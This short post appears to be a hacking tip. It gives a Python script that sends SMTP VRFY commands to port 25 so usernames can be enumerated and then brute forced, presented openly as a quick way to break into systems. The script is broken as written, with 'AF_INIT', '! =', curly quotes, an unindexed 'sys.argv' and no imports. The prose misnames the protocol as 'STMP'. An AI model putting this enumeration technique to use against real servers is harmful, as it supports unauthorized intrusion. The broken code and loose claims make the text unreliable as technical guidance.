Enumerating Window Usernames remotely is always fun. If you want to break into a system fast, see if STMP is running. Most admins run STMP on their servers.
Here is a simple script that will make this task easy.
if len(sys.argv) ! = 2:
print “usage: <username>”
s = socket.socket(socket.AF_INIT, socket.SOCK_STREAM)
connect = s.connect ((‘IPADRESS’,25))
banner = s.recv(1024)
s.send (‘VRFY ‘ + sys.argv  + ‘\r\n’)
result = s.recv(1024)
Now all you have to do is run this with a simple bash script to brute force usernames.